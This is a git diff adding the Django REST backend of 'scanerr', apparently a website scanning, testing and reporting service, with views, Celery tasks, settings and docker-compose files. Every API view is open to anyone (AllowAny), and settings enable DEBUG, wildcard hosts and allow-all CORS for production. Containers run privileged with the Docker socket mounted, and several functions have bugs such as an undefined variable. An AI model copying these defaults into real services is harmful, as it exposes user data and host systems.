user=request.user, site=site + ) + + # update report data + report.info = info + report.type = report_type + report.save() + un_cached_report = Report.objects.get(id=report.id) + + + # generate report + updated_report = R(report=un_cached_report).make_test_report() + + + serializer_context = {'request': request,} + data = ReportSerializer(updated_report, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + +def get_reports(request): + site_id = request.query_params.get('site_id', None) + report_id = request.query_params.get('report_id', None) + + if site_id: + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + reports = Report.objects.filter(site=site, user=request.user).order_by('-time_created') + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site_id is None and report_id is None: + reports = Report.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(reports, request) + serializer_context = {'request': request,} + serialized = ReportSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + + +def delete_report(request, id): + user = request.user + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if report.user != user: + data = {'reason': 'you cannot delete Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_report_s3_bg.delay(report_id=id) + + # remove report + report.delete() + + data = {'message': 'Report has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + +def get_logs(request): + + log_id = request.query_params.get('log_id') + request_status = request.query_params.get('status') + request_type = request.query_params.get('request_type') + + if log_id != None: + log = Log.objects.get(id=log_id) + if log.user != request.user: + data = {'reason': 'you cannot retrieve Logs you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = LogSerializer(log, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + if request_status != None and request_type != None: + logs = Log.objects.filter(status=request_status, request_type=request_type, user=request.user).order_by('-time_created') + elif request_status == None and request_type != None: + logs = Log.objects.filter(request_type=request_type, user=request.user).order_by('-time_created') + elif request_status != None and request_type == None: + logs = Log.objects.filter(status=request_status, user=request.user).order_by('-time_created') + else: + logs = Log.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(logs, request) + serializer_context = {'request': request,} + serialized = LogSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + return response + + + + + +def install_wp_plugin(request): + login_url = request.data.get('login_url', None) + admin_url = request.data.get('admin_url', None) + plugin_name = request.data.get('plugin_name', None) + username = request.data.get('username', None) + password = request.data.get('password', None) + wait_time = request.data.get('wait_time', 30) + driver = request.data.get('driver', 'selenium') + + if driver == 'selenium': + + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ) + + # login + wp_status = wp.login() + + # adjust lang + wp_status = wp.begin_lang_check() + + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + + # re adjust lang + wp_status = wp.end_lang_check() + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + else: + + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ).run_full(plugin_name=plugin_name) + ) + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + + + + + + +def create_site_screenshot(request): + user = request.user + site_id = request.data.get('site_id', None) + url = request.data.get('url', None) + configs = request.data.get('configs', None) + site = None + + if site_id is not None: + site = Site.objects.get(id=site_id) + + if configs is not None: + if configs['driver'] == 'puppeteer': + data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs)) + elif configs['driver'] == 'selenium': + data = I().screenshot(site=site, url=url, configs=configs) + else: + data = I().screenshot(site=site, url=url, configs=configs) + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + +def get_home_stats(request): + sites = Site.objects.filter(user=request.user) + site_count = sites.count() + test_count = 0 + scan_count = 0 + schedule_count = 0 + for site in sites: + tests = Test.objects.filter(site=site) + scans = Scan.objects.filter(site=site) + schedules = Schedule.objects.filter(site=site) + test_count = test_count + tests.count() + scan_count = scan_count + scans.count() + schedule_count = schedule_count + schedules.count() + + data = { + "sites": site_count, + "tests": test_count, + "scans": scan_count, + "schedules": schedule_count, + } + response = Response(data, status=status.HTTP_200_OK) + return response + + diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py new file mode 100644 index 00000000..7af13878 --- /dev/null +++ b/app/api/v1/ops/tasks.py @@ -0,0 +1,158 @@ +from ...models import * +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.reporter import Reporter as R +from ...utils.automations import automation +import boto3 +from scanerr import settings + + + +def create_site_task(site_id, scan_id): + site = Site.objects.get(id=site_id) + scan = Scan.objects.get(id=scan_id) + S(site=site, scan=scan).first_scan() + return site + + +def create_scan_task( + scan_id=None, + site_id=None, + automation_id=None, + configs=None, + tags=None, + ): + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_scan = Scan.objects.create( + site=site, + tags=tags, + ) + scan = S(scan=created_scan, configs=configs).first_scan() + if automation_id: + automation(automation_id, scan.id) + return scan + + + + +def create_test_task( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + ): + + if test_id is not None: + created_test = Test.objects.get(id=test_id) + site = created_test.site + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_test = Test.objects.create( + site=site, + type=type, + tags=tags, + ) + + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + + if post_scan is None and pre_scan is not None: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + if pre_scan is None and post_scan is None: + new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + # updating parired scans + pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan + pre_scan.save() + post_scan.save() + + # updating test object + created_test.type = type + created_test.pre_scan = pre_scan + created_test.post_scan = post_scan + created_test.save() + + + test = T(test=created_test).run_test(index=index) + if automation_id: + automation(automation_id, test.id) + return test + + + + +def create_report_task(site_id, automation_id=None): + site = Site.objects.get(id=site_id) + if Report.objects.filter(site=site).exists(): + report = Report.objects.filter(site=site).order_by('-time_created')[0] + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#4283f8', + } + report = Report.objects.create( + user=site.user, + site=site, + info=info, + ) + + + report = R(report=report).make_test_report() + if automation_id: + automation(automation_id, report.id) + return report + + + + + + +def delete_site_s3(site_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + + return + + + +def delete_report_s3(report_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + + return diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py new file mode 100644 index 00000000..bc2cc034 --- /dev/null +++ b/app/api/v1/ops/urls.py @@ -0,0 +1,27 @@ +from django.urls import path +from . import views as views + + +urlpatterns = [ + path('site', views.Sites.as_view(), name='site'), + path('site/', views.SiteDetail.as_view(), name='site-detail'), + path('site/delay', views.SiteDelay.as_view(), name='site-delay'), + path('scan', views.Scans.as_view(), name='scan'), + path('scan/', views.ScanDetail.as_view(), name='scan-detail'), + path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), + path('test', views.Tests.as_view(), name='test'), + path('test/', views.TestDetail.as_view(), name='test-detail'), + path('test/delay', views.TestDelay.as_view(), name='test-delay'), + path('log', views.Logs.as_view(), name='log'), + path('log/', views.LogDetail.as_view(), name='log-detail'), + path('schedule', views.Schedules.as_view(), name='schedule'), + path('schedule/', views.ScheduleDetail.as_view(), name='schedule-detail'), + path('automation', views.Automations.as_view(), name='automation'), + path('automation/', views.AutomationDetail.as_view(), name='automation-detail'), + path('report', views.Reports.as_view(), name='report'), + path('report/', views.ReportDetail.as_view(), name='report-detail'), + path('home-stats', views.HomeStats.as_view(), name='home-stats'), + path('beta/wordpress/install-plugin', views.WordPressPluginInstall.as_view(), name='install-plugin'), + path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), + +] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py new file mode 100644 index 00000000..b77cd629 --- /dev/null +++ b/app/api/v1/ops/views.py @@ -0,0 +1,336 @@ +from django.shortcuts import render +from rest_framework.response import Response +from rest_framework import status +from django.contrib.auth.models import User +from django.shortcuts import get_object_or_404 +from ...models import * +from django.urls import path, include +from rest_framework import routers, serializers, viewsets +from rest_framework.viewsets import ViewSet +from rest_framework.permissions import AllowAny +from rest_framework.views import APIView +from rest_framework.permissions import IsAuthenticated +from django.views.decorators.csrf import ensure_csrf_cookie +from rest_framework.pagination import LimitOffsetPagination +from django.urls import resolve +from .serializers import * +from .services import * + + + +class Sites(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + pagination_class = LimitOffsetPagination + + def post(self, request): + response = create_site(request) + return response + + def get(self, request): + response = get_sites(request) + return response + + + +class SiteDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + site = get_object_or_404(Site, pk=id) + if site.user != request.user: + data = {'reason': 'you cannot retrieve a Site you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + serializer_context = {'request': request,} + serialized = SiteSerializer(site, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_site(request, id) + return response + + + +class SiteDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_site(request, delay=True) + return response + + + + +class Scans(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get',] + pagination_class = LimitOffsetPagination + + def post(self, request): + response = create_scan(request) + return response + + def get(self, request): + response = get_scans(request) + return response + + +class ScanDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete',] + + def get(self, request, id): + scan = get_object_or_404(Scan, pk=id) + if scan.site.user != request.user: + data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ScanSerializer(scan, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + def delete(self, request, id): + response = delete_scan(request, id) + return response + + +class ScanDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_scan(request, delay=True) + return response + + + + + + +class Tests(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get',] + pagination_class = LimitOffsetPagination + + def post(self, request): + response = create_test(request) + return response + + def get(self, request): + response = get_tests(request) + return response + + +class TestDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete',] + + def get(self, request, id): + test = get_object_or_404(Test, pk=id) + if test.site.user != request.user: + data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestSerializer(test, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_test(request, id) + return response + + +class TestDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_test(request, delay=True) + return response + + + + + + + +class Schedules(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_schedule(request) + return response + + def get(self, request): + response = get_schedules(request) + return response + + +class ScheduleDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + schedule = get_object_or_404(Schedule, pk=id) + if schedule.site.user != request.user: + data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ScheduleSerializer(schedule, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_schedule(request, id) + return response + + + + + +class Automations(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + pagination_class = LimitOffsetPagination + + def post(self, request): + response = create_or_update_automation(request) + return response + + def get(self, request): + response = get_automations(request) + return response + + +class AutomationDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + automation = get_object_or_404(Automation, pk=id) + if automation.user != request.user: + data = {'reason': 'you cannot retrieve Automations you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = AutomationSerializer(automation, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_automation(request, id) + return response + + + + + +class Reports(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_report(request) + return response + + def get(self, request): + response = get_reports(request) + return response + + + +class ReportDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + report = get_object_or_404(Report, pk=id) + if report.user != request.user: + data = {'reason': 'you cannot retrieve Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_report(request, id) + return response + + + +class Logs(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + pagination_class = LimitOffsetPagination + + def get(self, request): + response = get_logs(request) + return response + + +class LogDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id): + log = get_object_or_404(Log, pk=id) + if log.user != request.user: + data = {'reason': 'you cannot retrieve Logs you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = LogSerializer(log, context=serializer_context) + data = serialized.data + return Response(data, status=status.HTTP_200_OK) + + + +class HomeStats(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request): + response = get_home_stats(request) + return response + + + + +class WordPressPluginInstall(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = install_wp_plugin(request) + return response + + +class SiteScreenshot(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_site_screenshot(request) + return response \ No newline at end of file diff --git a/app/api/v1/urls.py b/app/api/v1/urls.py new file mode 100644 index 00000000..3b93c5c2 --- /dev/null +++ b/app/api/v1/urls.py @@ -0,0 +1,14 @@ +from .billing import urls as billing_urls +from .auth import urls as auth_urls +from .ops import urls as ops_urls +from django.urls import path, include +from rest_framework import ( + routers, serializers, viewsets, +) + + +urlpatterns = [ + path('billing/', include(billing_urls)), + path('auth/', include(auth_urls)), + path('ops/', include(ops_urls)), +] diff --git a/app/api/views.py b/app/api/views.py new file mode 100644 index 00000000..e69de29b diff --git a/app/manage.py b/app/manage.py new file mode 100755 index 00000000..d4057aa5 --- /dev/null +++ b/app/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/app/scanerr/__init__.py b/app/scanerr/__init__.py new file mode 100644 index 00000000..0eae6977 --- /dev/null +++ b/app/scanerr/__init__.py @@ -0,0 +1,3 @@ +from .celery import app as celery_app + +# __all__ = ['celery_app'] \ No newline at end of file diff --git a/app/scanerr/asgi.py b/app/scanerr/asgi.py new file mode 100644 index 00000000..fa484bf4 --- /dev/null +++ b/app/scanerr/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for scanerr project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') + +application = get_asgi_application() diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py new file mode 100644 index 00000000..08e5ae7e --- /dev/null +++ b/app/scanerr/celery.py @@ -0,0 +1,17 @@ +from __future__ import absolute_import, unicode_literals +from celery import Celery +from django.conf import settings +import scanerr, os + + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') + +app = Celery('scanerr') +app.config_from_object('django.conf:settings', namespace='CELERY') +app.autodiscover_tasks() + + +@app.task(bind=False) +def debug_task(self): + print('Request: {0!r}'.format(self.request)) + diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py new file mode 100644 index 00000000..8ac13a51 --- /dev/null +++ b/app/scanerr/settings.py @@ -0,0 +1,235 @@ +""" +Django settings for scanerr project. + +Generated by 'django-admin startproject' using Django 3.2.3. + +For more information on this file, see +https://docs.djangoproject.com/en/3.2/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/3.2/ref/settings/ +""" + +from pathlib import Path +from datetime import timedelta +import os + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = os.environ.get('SECRET_KEY') + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = ['*'] +CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') +API_URL_ROOT = os.environ.get('API_URL_ROOT') +CORS_ORIGIN_ALLOW_ALL = True +DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 + +SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'corsheaders', + 'api', + 'rest_framework', + 'rest_framework.authtoken', + 'django_celery_beat', + 'markdownify.apps.MarkdownifyConfig', + 'storages', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', + 'corsheaders.middleware.CorsMiddleware', +] + +ROOT_URLCONF = 'scanerr.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'scanerr.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/3.2/ref/settings/#databases + +if DEBUG == True: + + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql + 'HOST': os.environ.get('DB_HOST'), + 'NAME': os.environ.get('DB_NAME'), + 'USER': os.environ.get('DB_USER'), + 'PASSWORD': os.environ.get('DB_PASS'), + 'PORT': os.environ.get('DB_PORT') + } + } + +else: + + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql + 'HOST': os.environ.get('DB_HOST'), + 'NAME': os.environ.get('DB_NAME'), + 'USER': os.environ.get('DB_USER'), + 'PASSWORD': os.environ.get('DB_PASS'), + 'PORT': os.environ.get('DB_PORT') + } + } + + +# Password validation +# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Django REST framework +REST_FRAMEWORK = { + # Use Django's standard `django.contrib.auth` permissions, + # or allow read-only access for unauthenticated users. + 'DEFAULT_PERMISSION_CLASSES': [ + 'rest_framework.permissions.DjangoModelPermissions', + ], + + 'DEFAULT_AUTHENTICATION_CLASSES': [ + 'rest_framework.authentication.TokenAuthentication', + 'rest_framework_simplejwt.authentication.JWTAuthentication', + ], + + 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', + 'PAGE_SIZE': 10, + +} + +# SIMPLE_JWT = { +# 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=.5), +# 'REFRESH_TOKEN_LIFETIME': timedelta(minutes=1), +# } + + + +# Internationalization +# https://docs.djangoproject.com/en/3.2/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_L10N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/3.2/howto/static-files/ + +STATIC_URL = '/static/' +STATIC_ROOT = os.path.join(BASE_DIR, "static") + +### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### +# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') +# STATIC_ROOT = 'static' +# MEDIA_ROOT = 'media' +# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" +# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" +# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') +# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') + + +# Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' +AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') +AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY') + +# Configure which endpoint to send files to, and retrieve files from. +AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') +AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') +AWS_S3_ENDPOINT_URL = os.environ.get('AWS_S3_ENDPOINT_URL') +AWS_LOCATION = os.environ.get('AWS_LOCATION') +AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') +AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') + + +# General optimization for faster delivery +AWS_IS_GZIPPED = True +AWS_S3_OBJECT_PARAMETERS = { + 'CacheControl': 'max-age=86400', +} + + + +# Redis and Celery Conf + +CELERY_BROKER_URL = "redis://redis:6379" +CELERY_RESULT_BACKEND = "redis://redis:6379" + + + +# Default primary key field type +# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' + + +# email +EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' +EMAIL_HOST = os.environ.get('EMAIL_HOST') +EMAIL_PORT = os.environ.get('EMAIL_PORT') +EMAIL_USE_TLS = os.environ.get('EMAIL_USE_TLS') +EMAIL_HOST_USER = os.environ.get('EMAIL_HOST_USER') +EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD') + + +# google oAuth2 +GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') +GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') \ No newline at end of file diff --git a/app/scanerr/urls.py b/app/scanerr/urls.py new file mode 100644 index 00000000..50d33dcf --- /dev/null +++ b/app/scanerr/urls.py @@ -0,0 +1,9 @@ +from django.contrib import admin +from django.urls import path, include + + + +urlpatterns = [ + path('admin/', admin.site.urls), + path('', include('api.urls')), +] diff --git a/app/scanerr/wsgi.py b/app/scanerr/wsgi.py new file mode 100644 index 00000000..bc13ad63 --- /dev/null +++ b/app/scanerr/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for scanerr project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') + +application = get_wsgi_application() diff --git a/commands b/commands new file mode 100644 index 00000000..cb2ad858 --- /dev/null +++ b/commands @@ -0,0 +1,14 @@ +### spins up container on localhost ### +docker compose up --build + +### spins down container on localhost ### +docker compose down + + + +### spins up the container for production ### +docker-compose -f docker-compose.prod.yml up -d --build + +### spins down the container and removes volumes ### +docker-compose -f docker-compose.prod.yml down -v + diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml new file mode 100644 index 00000000..9593055b --- /dev/null +++ b/docker-compose.prod.yml @@ -0,0 +1,78 @@ +version: '3' + +services: + app: + privileged: true + init: true + build: + context: . + dockerfile: Dockerfile.prod + volumes: + - ./app:/app + - static_volume:/app/static + command: > + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py wait_for_db && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + expose: + - 8000 + env_file: + - ./env/.env.prod + + redis: + image: redis:alpine + + celery: + privileged: true + restart: always + build: + context: . + command: celery -A scanerr worker --beat --scheduler django --loglevel=info + volumes: + - ./app:/scanerr + env_file: + - ./env/.env.prod + depends_on: + - redis + - app + + + + nginx-proxy: + container_name: nginx-proxy + build: nginx + restart: always + ports: + - 443:443 + - 80:80 + volumes: + - static_volume:/app/static + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + - /var/run/docker.sock:/tmp/docker.sock:ro + depends_on: + - app + nginx-proxy-letsencrypt: + image: jrcs/letsencrypt-nginx-proxy-companion + env_file: + - ./env/.env.prod.proxy-companion + volumes: + - /var/run/docker.sock:/var/run/docker.sock:ro + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + depends_on: + - nginx-proxy + + +volumes: + static_volume: + certs: + html: + vhost: \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..df003fc1 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,57 @@ +version: '3' +services: + + app: + privileged: true + init: true + build: + context: . + dockerfile: Dockerfile + ports: + - "8000:8000" + volumes: + - ./app:/app + command: > + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py wait_for_db && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + python3 manage.py runserver 0.0.0.0:8000" + env_file: + - ./env/.env.dev + depends_on: + - db + + db: + image: postgres:10-alpine + env_file: + - ./env/.env.dev + volumes: + - pgdata:/var/lib/postgresql/data + + redis: + image: redis:alpine + + 